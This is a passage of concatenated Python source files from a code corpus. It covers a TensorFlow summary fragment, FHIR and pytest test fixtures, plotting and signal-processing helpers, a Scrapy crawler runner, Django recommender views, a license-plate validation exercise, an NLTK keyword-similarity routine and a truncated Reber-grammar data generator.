0, 0), (1, 1, -1, -1)), axis=0), axis=3)))\n for i in range(1, self.prediction.get_shape().as_list()[-1]):\n tf.summary.image('output_prob_' + str(i), self.to_gray_image(\n tf.squeeze(tf.slice(self.prediction, (0, 0, 0, 0, i), (1, 1, -1, -1, 1)), axis=0)))\n tf.summary.image('output', self.to_gray_image(tf.expand_dims(\n tf.squeeze(tf.slice(tf.argmax(self.prediction, -1), (0, 0, 0, 0), (1, 1, -1, -1)), axis=0), axis=3)))\n else:\n raise('model_mode '+self.conf.model_mode+' should be \\'2d\\' or \\'3d\\'')\n\n tf.summary.scalar('loss', self.loss)\n tf.summary.scalar('accuracy', self.accuracy)\n","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":5265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"12313535","text":"import pytest\nfrom fhirzeug.fhirspec import FHIRElementType\n\n# R5\nR5 = {\n \"extension\": [\n {\n \"url\": \"http://hl7.org/fhir/StructureDefinition/structuredefinition-fhir-type\",\n \"valueUri\": \"string\",\n }\n ],\n \"code\": \"http://hl7.org/fhirpath/System.String\",\n}\n\n# R4\nR4 = {\n \"extension\": [\n {\n \"url\": \"http://hl7.org/fhir/StructureDefinition/structuredefinition-fhir-type\",\n \"valueUrl\": \"string\",\n }\n ],\n \"code\": \"http://hl7.org/fhirpath/System.String\",\n}\n\n\n@pytest.fixture(params=[R4, R5])\ndef element_type(request):\n return FHIRElementType(request.param)\n\n\ndef test_parse_from(element_type: FHIRElementType):\n print(element_type.profile)\n assert element_type.code == \"string\"\n","sub_path":"tests/test_element.py","file_name":"test_element.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"463084494","text":"# -*- coding: utf-8 -*-\n\"\"\"\nHelpful, commonly used functions to speed things up\n\nCreated on Sat Nov 2 08:35:35 2019\n\n@author: jstra\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as mc\nimport matplotlib.cm as cm\nfrom matplotlib.ticker import AutoMinorLocator\nimport matplotlib.tri as mpt\nimport sys\nsys.path.append('C:/Files/Box Sync/Code/toolbox/')\nimport fitfuncs as ff\n\n\n###################################\n######### PLOT FORMATTING #########\n###################################\ndef axperc(ax, which):\n if which in ['x', 'both']:\n xtickvals = ax.get_xticks()\n ndig = np.floor(np.log10(np.abs(np.diff(xtickvals))))\n ndigstr = '{:d}'.format(int(np.max(np.abs(ndig)))-2)\n fmtstr = '{:.' + format(ndigstr) + '%}'\n ax.set_xticklabels(fmtstr.format(x) for x in xtickvals)\n if which in ['y', 'both']:\n ytickvals = ax.get_yticks()\n ndig = np.floor(np.log10(np.abs(np.diff(ytickvals))))\n ndigstr = '{:d}'.format(int(np.max(np.abs(ndig)))-2)\n fmtstr = '{:.' + format(ndigstr) + '%}'\n ax.set_yticklabels(fmtstr.format(y) for y in ytickvals)\n if which not in ['x', 'y', 'both']:\n raise ValueError('\"which\" specifier must be \"x\", \"y\", or \"both\".')\n \ndef tickfix(ax=None):\n if ax is None:\n ax = plt.gca()\n ax.tick_params(axis=\"x\", direction=\"in\", top=True, bottom=True, labeltop=False, labelbottom=True)\n ax.tick_params(axis=\"y\", direction=\"in\", left=True, right=True, labelright=False, labelleft=True)\n \n ax.xaxis.set_minor_locator(AutoMinorLocator())\n ax.yaxis.set_minor_locator(AutoMinorLocator())\n ax.tick_params(axis=\"x\", which='minor', direction=\"in\", top=True, bottom=True, labeltop=False, labelbottom=True)\n ax.tick_params(axis=\"y\", which='minor', direction=\"in\", left=True, right=True, labelright=False, labelleft=True)\n\ndef mancbar(ax, vmin=0, vmax=1, cmap=cm.viridis, N=11, clabel='DC Offset (V)', log=False):\n plt.sca(ax)\n if log:\n norm = mc.LogNorm(vmin=vmin, vmax=vmax)\n else:\n norm = mc.Normalize(vmin=vmin,vmax=vmax)\n sm = cm.ScalarMappable(cmap=cmap, norm=norm)\n sm.set_array([])\n \n if log:\n cbar = plt.colorbar(sm, ticks=np.logspace(np.log10(vmin),np.log10(vmax),N))\n else:\n cbar = plt.colorbar(sm, ticks=np.linspace(vmin,vmax,N))\n cbar.ax.set_ylabel(clabel, fontsize=14)\n return cbar\n\n\ndef argand(z, lines=True, color='r', linestyle='none', marker='.'):\n plt.plot(np.real(z), np.imag(z),'r.', color=color, linestyle=linestyle, marker=marker)\n \n if lines:\n plt.axhline(0, color='#AAAAAA', zorder=0)\n plt.axvline(0, color='#AAAAAA', zorder=0)\n plt.gca().set_aspect('equal')\n\ndef fontfix(ax):\n ax.xaxis.label.set_size(14)\n ax.yaxis.label.set_size(14)\n ax.title.set_size(16)\n\n\n# GENERIC USEFUL FUNCTIONS\ndef binxy(xx,yy,offs=False):\n xbin = {}\n last = None\n offset = 0\n for ii in range(len(yy)):\n if offs:\n if yy[ii] != last:\n if yy[ii]+offset not in xbin.keys():\n offset +=1e-9\n xbin[yy[ii]+offset] = []\n xbin[yy[ii]+offset].append(xx[ii])\n last = yy[ii]\n else:\n if yy[ii] not in xbin.keys():\n xbin[yy[ii]] = []\n xbin[yy[ii]].append(xx[ii])\n ybin = sorted(list(xbin.keys()))\n for y in ybin:\n xbin[y] = np.array(xbin[y])\n return xbin\n\ndef avgxy(xx,yy,offs=False):\n xb = binxy(xx,yy,offs)\n ym = sorted(list(xb.keys()))\n xm = [np.mean(xb[b]) for b in ym]\n xstd = [np.std(xb[b]) for b in ym]\n return np.array(xm), np.array(ym), np.array(xstd)\n\ndef uniq(x):\n return np.array(sorted(list(set(x))))\n\ndef compactify(xx):\n yy = []\n last = None\n for ii, x in enumerate(xx):\n if x != last:\n yy.append(x)\n last = x\n return yy\n\ndef makebins(sig):\n last = None\n bins = []\n num = -1\n for x in sig:\n if x!=last:\n num += 1\n last = x\n bins.append(num)\n return bins\n\ndef splitby(sig, sw):\n sigt = sig[np.where(sw)]\n sigf = sig[np.where(~sw)]\n return sigt, sigf\n\ndef splitUpDown(sig, sw, bipolar=True):\n if bipolar:\n up = np.where(np.gradient(sw)>=0)\n dn = np.where(np.gradient(sw)<=0)\n else:\n up = np.hstack((True, np.diff(sw)>0))\n dn = ~up\n sigu = sig[up]\n sigd = sig[dn]\n \n return sigu, sigd\n\n\n\ndef getarea(x,y, werr=None, herr=None):\n N = len(x)\n p0 = np.argmax(x)\n p1 = np.argmin(x)\n px = [x[p0], x[p1]]\n py = [y[p0], y[p1]]\n\n # find a midline against which to reference the area blocks\n # (this is necessary to minimize errors stemming from imperfectly\n # closed loops in the presence of a DC offset)\n slope = (py[1]-py[0]) / (px[1]-px[0])\n intercept = py[0] - slope*px[0]\n\n ym = ff.linefit(x, slope, intercept)\n ytop = np.array([(y[ii]+y[ii+1])/2 for ii in range(N-1)])\n ybot = np.array([(ym[ii]+ym[ii+1])/2 for ii in range(N-1)])\n\n w = np.diff(x)\n h = ytop-ybot\n\n # close the loop with one last block\n w = np.hstack((w, x[0]-x[-1]))\n h = np.hstack((h,((y[-1]+y[0]-ym[-1]-ym[0])/2)))\n\n area = np.sum(w*h)\n \n if werr is not None and herr is not None:\n aerrs = w*h * np.sqrt((werr/w)**2 + (herr/h)**2)\n err = np.sqrt(np.sum(aerrs**2))\n \n return area, err\n\n\ndef plotdicts(xdict, ydict, colors=None):\n keys = sorted(xdict.keys())\n if colors is not None:\n for ii, k in enumerate(keys):\n plt.plot(xdict[k], ydict[k], color=colors[ii])\n tickfix(plt.gca())\n fontfix(plt.gca())\n\n###############################\n###### SIGNAL PROCESSING ######\n###############################\n\ndef padends(sig, n):\n pada = np.ones(n)*sig[0]\n padz = np.ones(n)*sig[-1]\n padded = np.hstack((pada, sig, padz))\n return padded\n\ndef padconvolve(sig, v):\n nf = len(v)\n sigp = padends(sig,nf)\n sigs = np.convolve(sigp, v, mode='same')[nf:-nf]\n return sigs\n\ndef deg(cpx):\n return np.angle(cpx)*180/np.pi\n\ndef avgevery(sig, n,l):\n \"\"\"\n split the data into n interleaved curves (truncating to multiple of n)\n average every l datapoints within each curve\n recombine the data into a single dataset\n \"\"\"\n m = int(np.floor(len(sig)/(n*l))*(n*l))\n\n sig2 = sig[:m]\n sig2 = sig2.reshape((int(m/(n*l)),l,n))\n sig2 = np.mean(sig2,axis=1)\n sig2 = sig2.reshape(int(m/l))\n return sig2\n\n\ndef graderr(x, xerr, y, yerr):\n \"\"\"\n Returns dx/dy, as well as the uncertainty in dx/dy\n \"\"\"\n dx = np.gradient(x)\n dy = np.gradient(y)\n dxdy = dx/dy\n \n dxdyerr = np.sqrt(2)* np.abs(dxdy) * np.sqrt( (xerr/dx)**2 + (yerr/dy)**2 )\n \n return dxdy, dxdyerr\n\n\n###################################\n######### TRIANGULATION #########\n###################################\n \n\ndef triangulateAR(x, y, ratio, thrsh):\n xscl = (np.max(x)-np.min(x))\n yscl = (np.max(y)-np.min(y))*ratio\n tri = mpt.Triangulation(x/xscl, y/yscl)\n \n tng = tri.triangles\n xtri = tri.x[tng] - np.roll(tri.x[tng], 1, axis=1)\n ytri = tri.y[tng] - np.roll(tri.y[tng], 1, axis=1)\n maxi = np.max(np.sqrt(xtri**2 + ytri**2), axis=1)\n tri.set_mask(maxi > thrsh)\n \n tri.x *= xscl\n tri.y *= yscl\n\n return tri\n\ndef triangulateLog(x, y, ratio, thrsh, xlog=True, ylog=False):\n if xlog:\n x = np.log10(x)\n if ylog:\n y = np.log10(y)\n xscl = (np.max(x)-np.min(x))\n yscl = (np.max(y)-np.min(y))*ratio\n tri = mpt.Triangulation(x/xscl, y/yscl)\n \n tng = tri.triangles\n xtri = tri.x[tng] - np.roll(tri.x[tng], 1, axis=1)\n ytri = tri.y[tng] - np.roll(tri.y[tng], 1, axis=1)\n maxi = np.max(np.sqrt(xtri**2 + ytri**2), axis=1)\n tri.set_mask(maxi > thrsh)\n \n tri.x *= xscl\n tri.y *= yscl\n \n if xlog:\n tri.x = 10**tri.x\n if ylog:\n tri.y = 10**tri.y\n \n # mask invalid triangles with zero area\n xy = np.dstack((tri.x[tri.triangles], tri.y[tri.triangles])) # shape (ntri,3,2)\n twice_area = np.cross(xy[:,1,:] - xy[:,0,:], xy[:,2,:] - xy[:,0,:]) # shape (ntri)\n mask = twice_area < 1e-10 # shape (ntri)\n if np.any(mask):\n tri.set_mask(mask)\n\n return tri","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":8247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"165165556","text":"\"\"\"\nIntegration tests found in:\n- test_cli.py\n- test_renderer.py\n- test_output.py\n\"\"\"\n\nimport os\nimport subprocess\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING\n\nimport pytest\n\nif TYPE_CHECKING:\n import pytest_mock\n\n\n# Pycharm sets cwd to /tests/.\n# To ensure tests can find WAV files (based on /), jump from /tests/conftest.py to /.\nos.chdir(Path(__file__).parent.parent)\n\n\n@pytest.fixture\ndef Popen(mocker: \"pytest_mock.MockFixture\"):\n real_Popen = subprocess.Popen\n\n def popen_factory(*args, **kwargs):\n popen = mocker.create_autospec(real_Popen)\n\n popen.stdin = mocker.mock_open()(os.devnull, \"wb\")\n popen.stdout = mocker.mock_open()(os.devnull, \"rb\")\n assert popen.stdin != popen.stdout\n\n popen.wait.return_value = 0\n return popen\n\n Popen = mocker.patch.object(subprocess, \"Popen\", autospec=True)\n Popen.side_effect = popen_factory\n yield Popen\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"621150942","text":"import sys\n\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapx.utils.project import get_project_settings\n\n\n# debug or not\nDEBUG = False\n\n# just crawl newly published data\nINCREMENT = False\n\n# project name\nBOT_NAME = 'test1'\n\n# crawler info\nCRAWLER_INFO = {\n 'uid': '1b1d7b26-b55f-4bfd-b855-badb8419d4fa',\n 'desc': '台州日报',\n 'data_type': 1\n}\n\n# where to save crawled items, if not given, it will be \"{project_name}_{spider_name}_{spider_id}\"\nCOLLECTION_NAME = ''\n\n# spider modules\nSPIDER_MODULES = ['test1.spiders']\nNEWSPIDER_MODULE = 'test1.spiders'\n\nROBOTSTXT_OBEY = False\n\nDOWNLOAD_WARNSIZE = 500 * 1024 * 1024\nDOWNLOAD_TIMEOUT = 1800\n\n# concurrency\n# CONCURRENT_REQUESTS = 32\n# DOWNLOAD_DELAY = 3\n# CONCURRENT_REQUESTS_PER_DOMAIN = 16\n# CONCURRENT_REQUESTS_PER_IP = 16\n\n# USER_AGENT = 'test1 (+http://www.yourdomain.com)'\n# DEFAULT_REQUEST_HEADERS = {\n# 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n# 'Accept-Language': 'en',\n# }\n\n# Enable or disable spider middlewares\n# See https://docs.scrapy.org/en/latest/topics/spider-middleware.html\n# SPIDER_MIDDLEWARES = {\n# 'test1.middlewares.Test1SpiderMiddleware': 543,\n# }\n\n# Enable or disable downloader middlewares\n# See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html\n# DOWNLOADER_MIDDLEWARES = {\n# 'test1.middlewares.Test1DownloaderMiddleware': 543,\n# }\n\n# Enable or disable extensions\n# See https://docs.scrapy.org/en/latest/topics/extensions.html\n# EXTENSIONS = {\n# 'scrapy.extensions.telnet.TelnetConsole': None,\n# }\n\n# Configure item pipelines\n# See https://docs.scrapy.org/en/latest/topics/item-pipeline.html\nITEM_PIPELINES = {\n 'scrapx_globals.pipelines.MongoPipeline': 300,\n}\n\n\ndef main():\n _global = globals()\n is_debug = _global.get('DEBUG')\n settings = dict(get_project_settings())\n if not is_debug:\n settings['LOG_LEVEL'] = 'INFO'\n for k, v in _global.items():\n if k.isupper():\n settings[k] = v\n args = sys.argv\n for arg in args[1:]:\n if arg.count('=') == 1:\n key, value = arg.split('=')\n key = key.upper()\n settings[key] = value\n\n process = CrawlerProcess(settings=settings)\n process.crawl('tzrb')\n process.start()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"example/test1/run_tzrb.py","file_name":"run_tzrb.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"526092194","text":"from django.shortcuts import render\nfrom django.views.generic.edit import FormView\nfrom django.views.generic.list import ListView\nfrom django.views.generic.detail import DetailView\nfrom .forms import SearchUserForm\nfrom django.urls import reverse\nfrom .models import UserProfile, ArtistRating, ArtistActivity\nfrom django.shortcuts import get_object_or_404\nimport core.utils as utils\nfrom django.core.paginator import Paginator\n\nclass HomeView(ListView):\n template_name = 'index.html'\n paginate_by = 40\n\n def get_queryset(self):\n user_id = self.request.GET.get('user_id')\n if user_id:\n return UserProfile.objects.filter(id__contains=user_id)\n return UserProfile.objects.all()\n\n\ndef user_recommendations(request, user_id):\n\n model_type = request.GET.get('model_type', ArtistRating.RecommenderModelType.ITEM_ITEM)\n user = get_object_or_404(UserProfile, pk=user_id)\n\n cosine_neighbors = None\n pearson_neighbors = None\n\n if model_type == ArtistRating.RecommenderModelType.USER_USER:\n cosine_neighbors = utils.findNeighbors(user.id, ArtistRating.SimilarityTechnique.COSINE,ArtistRating.RecommenderModelType.USER_USER)\n pearson_neighbors = utils.findNeighbors(user.id, ArtistRating.SimilarityTechnique.PEARSON,ArtistRating.RecommenderModelType.USER_USER)\n\n song_activities = user.artists_activities.order_by('-activity_count')\n song_activities_paginator = Paginator(song_activities, 40)\n page_number = request.GET.get('page', 1)\n song_activities_page = song_activities_paginator.get_page(page_number)\n\n context = {\n 'model_type': model_type,\n 'show_action': model_type == ArtistRating.RecommenderModelType.ITEM_ITEM,\n 'user': user,\n 'artist_activities': song_activities_page,\n 'jaccard_predictions': [],\n 'cosine_neighbors': cosine_neighbors,\n 'pearson_neighbors': pearson_neighbors\n }\n\n pearsons_predictions = utils.findPredictions(user_id, ArtistRating.SimilarityTechnique.PEARSON, model_type)\n if pearsons_predictions is not None:\n context['pearson_predictions'] = pearsons_predictions\n \n cosine_predictions = utils.findPredictions(user_id, ArtistRating.SimilarityTechnique.COSINE, model_type)\n if cosine_predictions is not None:\n context['cosine_predictions'] = cosine_predictions\n\n return render(request, 'user_recommendations.html', context=context)\n\ndef item_neighbors(request, artist_name):\n\n similarity = request.GET.get('similarity', ArtistRating.SimilarityTechnique.PEARSON)\n neighbors = utils.findNeighbors(artist_name,similarity, ArtistRating.RecommenderModelType.ITEM_ITEM)\n\n context = {\n 'artist_name': artist_name,\n 'similarity': similarity,\n 'neighbors': neighbors\n }\n return render(request, 'item_neighbors.html', context=context)\n\n# class UserRecommendationsDetailView(DetailView):\n\n# model = UserProfile\n\n# def get_context_data(self, **kwargs):\n# context = super().get_context_data(**kwargs)\n# context['song_activities'] = self.object.song_activities.all()\n# return context\n\n\n# class SearchUserFormView(FormView):\n# template_name = 'index.html'\n# form_class = SearchUserForm\n \n# def get_success_url(self):\n# query = self.request.GET.get('query')\n# return '%s?query=%s' % (reverse('search_results'), query)\n\n# class UserSearchResultsListView(ListView):\n# template_name = 'user_search_results.html'\n","sub_path":"recommender/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"135088700","text":"#Ejercicio 59\r\n#En una jurisdicción particular, las matrículas más antiguas consisten en tres letras mayúsculas seguidas de tres números. \r\n#Cuando todas las placas que siguieron ese patrón tenían Una vez utilizado, \r\n#el formato se cambió a cuatro números seguidos de tres letras mayúsculas.\r\n\r\n#Escriba un programa que comience leyendo una cadena de caracteres del usuario. \r\n#Luego, su programa debe mostrar un mensaje que indique si los caracteres son válidos \r\n#para una placa de estilo anterior o una placa de estilo más nueva. \r\n#Su programa debe mostrar un mensaje apropiado si la cadena ingresada por el usuario no es válida para ninguno de los estilos de matrícula.\r\n\r\nmatricula = input(\"Introduce la matricula: \")\r\n\r\nestilo = \"\"\r\n\r\nif matricula[0] in \"ABCDEFGHIJKLMNOPQRSTUVQRXTUVWXYZ\" and matricula[1] in \"ABCDEFGHIJKLMNOPQRSTUVQRXTUVWXYZ\" and matricula[2] in \"ABCDEFGHIJKLMNOPQRSTUVQRXTUVWXYZ\":\r\n\tif matricula[3] in \"0123456789\" and matricula[4] in \"0123456789\" and matricula[5] in \"0123456789\":\r\n\t\testilo = \"viejo\"\r\n\r\nelif matricula[0] in \"0123456789\" and matricula[1] in \"0123456789\" and matricula[2] in \"0123456789\" and matricula[3] in \"0123456789\":\r\n\tif matricula[4] in \"ABCDEFGHIJKLMNOPQRSTUVQRXTUVWXYZ\" and matricula[5] in \"ABCDEFGHIJKLMNOPQRSTUVQRXTUVWXYZ\" and matricula[6] in \"ABCDEFGHIJKLMNOPQRSTUVQRXTUVWXYZ\":\r\n\t\testilo = \"nuevo\"\r\n\t\t\r\nif estilo == \"viejo\":\r\n\tprint(\"Esta es una placa de estilo antiguo.\")\r\nelif estilo == \"nuevo\":\r\n\tprint(\"Esta es una placa de estilo nuevo.\")\r\nelse:\r\n\tprint(\"Matrícula no válida ingresada.\")","sub_path":"script59.py","file_name":"script59.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"523689","text":"import nltk\nfrom nltk.corpus import wordnet\nimport re\n\ndef similarity(word1, word2):\n w1synsets = wordnet.synsets(word1)\n w2synsets = wordnet.synsets(word2)\n\n if not len(w1synsets) or not len(w2synsets):\n return 0\n\n sums = 0\n\n for synset1 in w1synsets:\n for synset2 in w2synsets:\n sim = synset1.path_similarity(synset2)\n if sim:\n sums += sim\n return sums / (len(w1synsets) * len(w2synsets))\n\n\ndef keywordanalysis2(userids, traincomments, articlekeywords):\n # Preference analysis\n # 1. Keyword based\n # Used data:\n # coOccurrence[keyword1][keyword2]: Co-occurrence between keyword1 and keyword2\n # userids: List of user id which we will focus on\n # traincomments[userid] = [(articleid, comment, commentid, userid), ...] : list of comments user commented\n # (Includes comment from users we are not interested in.)\n # articlekeywords[articleid]: keyword set of article\n\n # What to do: Extract user's interest in single comment\n # 개별 comment에 대해 그 코멘트가 얼마나 기사에 대한 관심을 표현하는지를 계산할 것\n # keyword는 word 단위로 쪼개서 lowercase로 정리되어있음 (\"United States\" => \"united\", \"states\")\n # Calculate the similarity between nouns and verbs in keywords and comments\n # Output data format: Dictionary\n # keywordPreference[commentid] = 0~1사이의 정수값\n # **주의: list, dictionary 등 mutable data structure 변경하지 말 것\n\n # 먼저 keyword 포함 비율을 각 comment id에 대해 저장할 dictionary를 만든다.\n keywordpreference = {}\n i = 0\n # 우리가 관심있는 모든 userid에 대해 for문을 돌아 주며 비율을 계산한다.\n for user_id in userids:\n # traincomments 내에 각 user id를 key로 하는 list에 대해 여러 개의 comment tuple이 존재하므로 그에 대해 for문을 돌아준다.\n for comment_tuple in traincomments[user_id]:\n # 각 commment_tuple에는 0번이 article id이므로 이 정보를 저장해놓는다.\n article_id = comment_tuple[0]\n # 위에서 저장해 놓은 article id를 이용하여 이 article의 keyword를 articlekeyword에서 가져온다.\n all_article_keyword = articlekeywords[article_id]\n article_keyword = [token[0] for token in all_article_keyword if (token[1][:2] == \"NN\" or token[1][:2] == \"VB\")]\n # comment id를 key로 하여 keywordpreference에 저장할 것이기 때문에 comment id를 comment tuple에서 가져와서 저장한다.\n comment_id = comment_tuple[2]\n # 그 뒤 comment tuple 내의 comment가 현재 list로 나누어져 있으므로\n # 각각의 token에 대해 그 token이 article_keyword에 들어있는 지를 확인���여 개수를 세준다.\n comment_tokens_raw = nltk.tokenize.word_tokenize(comment_tuple[1])\n comment_tokens = []\n for comment in comment_tokens_raw:\n comment_tokens.append(re.sub('[-=+,#/\\?:^$.@*\\\"※~&%ㆍ!』\\\\‘|\\(\\)\\[\\]\\<\\>`\\'…》]', '', comment))\n sums = 0\n cnt = 0\n for kwd in article_keyword[:10]:\n for token in comment_tokens[:10]:\n cnt += 1\n sums += similarity(kwd, token)\n\n if cnt == 0:\n keywordpreference[comment_id] = 0\n else:\n keywordpreference[comment_id] = sums/cnt\n i += 1\n print(i, \"of\", len(userids))\n return keywordpreference\n","sub_path":"keywordAnalysis2.py","file_name":"keywordAnalysis2.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"149844918","text":"from datetime import date, datetime, timedelta\nfrom pyramid.config import Configurator\nfrom pyramid.renderers import JSON\nfrom .commands.indexer import create_index\nfrom .compat import urlsplit\nfrom .elasticsearch_client import ElasticsearchClient\nfrom .salesforce_client import SalesforceClient\nfrom .workparty import Root\nfrom .workparty import WorkPartyRoot\nimport os\nimport pyramid.scripting\nimport redis\n\n\ndef apply_patches():\n # The Google Cloud Platform has a default firewall rule which\n # drops connections after 10 minutes. They recommend enabling\n # TCP keepalive if longer connections are needed.\n from requests.packages.urllib3.connection import HTTPConnection\n import socket\n HTTPConnection.default_socket_options += [\n (socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1),\n ]\n\n\ndef main(global_config, **local_config):\n \"\"\" This function returns a Pyramid WSGI application.\n \"\"\"\n apply_patches()\n\n settings = global_config\n settings.update(local_config)\n settings['vms.testing'] = settings.get('vms.testing', False)\n\n # Get secrets from environment variables\n settings['salesforce.username'] = os.environ.get('SALESFORCE_USERNAME')\n settings['salesforce.password'] = os.environ.get('SALESFORCE_PASSWORD')\n settings['salesforce.token'] = os.environ.get('SALESFORCE_TOKEN')\n settings['vms.sso_secret'] = os.environ.get('VMS_SSO_SECRET', 'secret')\n settings['vms.session_secret'] = os.environ.get('VMS_SESSION_SECRET', 'secret')\n settings['clickandpledge.account_id'] = os.environ.get('CNP_ACCOUNT_ID')\n settings['clickandpledge.account_guid'] = os.environ.get('CNP_ACCOUNT_GUID')\n\n if 'vms.cms_base_url' not in settings:\n settings['vms.cms_base_url'] = 'https://www.wta.org/'\n\n config = Configurator(settings=settings, root_factory=Root)\n config.include('pyramid_cachebust')\n config.include('pyramid_chameleon')\n config.include('pyramid_layout')\n\n config.include('.auth')\n config.include('.gettext')\n\n # Add /static directory\n config.add_static_view('static', 'static', cache_max_age=3600)\n\n # JSON renderer\n json_renderer = JSON()\n def datetime_adapter(obj, request):\n return obj.isoformat()\n json_renderer.add_adapter(date, datetime_adapter)\n json_renderer.add_adapter(datetime, datetime_adapter)\n config.add_renderer('json', json_renderer)\n\n # Include layout and views\n config.add_route('home', '/')\n config.add_route('favicon', '/favicon.ico')\n config.add_route('logout', '/logout')\n config.add_route('workparties', '/workparties.json')\n config.add_route('workparty', '/workparty/*traverse',\n factory=WorkPartyRoot, use_global_views=True)\n config.add_route('trail-reports', '/trail-reports.json')\n\n # Route for generating Plone URLs\n config.add_route('plone', settings['vms.cms_base_url'])\n\n config.scan('.layout')\n config.scan('.views')\n config.scan('.register')\n config.scan('.report')\n config.scan('.exceptions')\n\n # Set up elasticsearch\n es = ElasticsearchClient([settings['elasticsearch.server']], 'vms')\n config.registry['elasticsearch'] = es\n # Make ES client available as \"request.elasticsearch\"\n config.add_request_method(lambda r: es, 'elasticsearch', reify=True)\n\n redis_url = urlsplit(settings['redis.server'])\n redis_client = redis.StrictRedis(host=redis_url.hostname, port=redis_url.port, db=0)\n config.add_request_method(lambda r: redis_client, 'redis', reify=True)\n\n # Make current user's registrations available as request.my_registrations\n from .registration_cache import RegistrationCache\n config.add_request_method(lambda r: RegistrationCache(r), 'my_registrations', reify=True)\n\n use_testdata = settings['vms.testing']\n if not use_testdata: # pragma: no cover\n # Set up salesforce lazily\n if not settings.get('salesforce.username'):\n raise Exception(\n 'Did not find Salesforce username configured. '\n 'Make sure you have set the SALESFORCE_USERNAME, SALESFORCE_PASSWORD, '\n 'and SALESFORCE_TOKEN environment variables.'\n )\n config.registry['salesforce'] = SalesforceClient(settings)\n else:\n from .tests.conftest import FakeSalesforceClient\n config.registry['salesforce'] = FakeSalesforceClient()\n config.add_request_method(lambda r: r.registry['salesforce'], 'salesforce', reify=True)\n\n app = config.make_wsgi_app()\n if use_testdata:\n load_testdata(app)\n return app\n\n\ndef load_testdata(app):\n env = pyramid.scripting.prepare(registry=app.registry)\n\n es = app.registry['elasticsearch']\n create_index(es)\n start_date = (date.today() + timedelta(days=7))\n\n from .tests.conftest import fake_land_manager\n es.index(doc_type='landmanager', id='LM1', body=fake_land_manager())\n\n from .tests.conftest import fake_wp\n wp = fake_wp(start_date)\n es.index(doc_type='workparty', id='WP1', body=wp)\n\n es.indices.refresh()\n es.indices.flush()\n\n env['closer']()\n","sub_path":"src/vms/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"643601397","text":"#第四个练习 - 模拟结账打折功能\r\n\r\ndef fun_checkout(money):\r\n '''\r\n 功能:计算商品总金额,并进行打折处理\r\n :return:\r\n '''\r\n summoney = sum(money)\r\n if 500<= summoney < 1000:\r\n discount = 0.9\r\n elif 1000 <= summoney < 2000:\r\n discount = 0.8\r\n elif 2000 <= summoney < 3000:\r\n discount = 0.7\r\n elif summoney >= 3000:\r\n discount = 0.6\r\n else:\r\n discount = 1\r\n discountmoney = summoney * discount\r\n return summoney, discountmoney\r\n\r\n#调用函数\r\nprint(\"=========结算金额==========\")\r\nmoney_list = []\r\nwhile True:\r\n money = float(input(\"请输入商品价格(结束请输入0):\"))\r\n if money == 0:\r\n break\r\n else:\r\n money_list.append(money)\r\nchecked_money = fun_checkout(money_list)\r\nprint(\"商品总金额为:{:.2f}\".format(checked_money[0]), \"折后金额为:{:.2f}\".format(checked_money[1]))","sub_path":"004.py","file_name":"004.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"393630361","text":"#!/usr/bin/env python3\n# TODO\n# sparse?\n\nimport argparse\nimport re\nimport itertools\nimport numpy as np\nimport tensorflow as tf\nfrom sklearn.model_selection import train_test_split\nimport exrex\n\ndef chunker(length, chunk_size):\n return (np.arange(pos, min(pos + chunk_size, length)) \\\n for pos in range(0, length, chunk_size))\n\ndef flaw_string(string, alph):\n string = [c for c in string]\n idx = np.random.randint(0, len(string))\n c = np.random.choice(alph)\n while c == string[idx]:\n c = np.random.choice(alph)\n string[idx] = c\n return ''.join(string)\n\ndef encoder(codings, max_len):\n codings = codings\n max_len = max_len\n\n def encode(string):\n # encode string with zero padding\n ret = np.zeros((max_len, len(codings)))\n for i,c in enumerate(string):\n ret[i,codings[c]] = 1\n return ret\n\n return encode\n \ndef get_data(it=10, n_flawed=2, limit=30, check=True):\n # theme alphabet and the symbols coding\n alph = 'BEPSTVX'\n codings = {c:i for i,c in enumerate(alph)}\n\n # (embedded) reber regular expression\n reber_rgx = 'B(P(VPX)*V(V|PS)|TS*X(S|X(VPX)*V(V|PS)))E'\n reber_emb_rgx = 'B(T{}T|P{}P)E'.format(reber_rgx, reber_rgx)\n\n # generate some reber strings - label 1\n reber_strings = [exrex.getone(reber_emb_rgx, limit) for i in range(it)]\n\n # generate some fake strings - label 0\n alph_list = [c for c in alph] # strings don't support item assignment\n flawed = [flaw_string(s, alph_list) for i in range(n_flawed) \\\n for s in reber_strings]\n\n # encode strings and turn them into an array\n max_len = len(max(reber_strings, key=lambda x: len(x)))\n encode = encoder(codings, max_len)\n X = np.array([encode(s) for s in itertools.chain(reber_strings, flawed)])\n\n # labels\n y 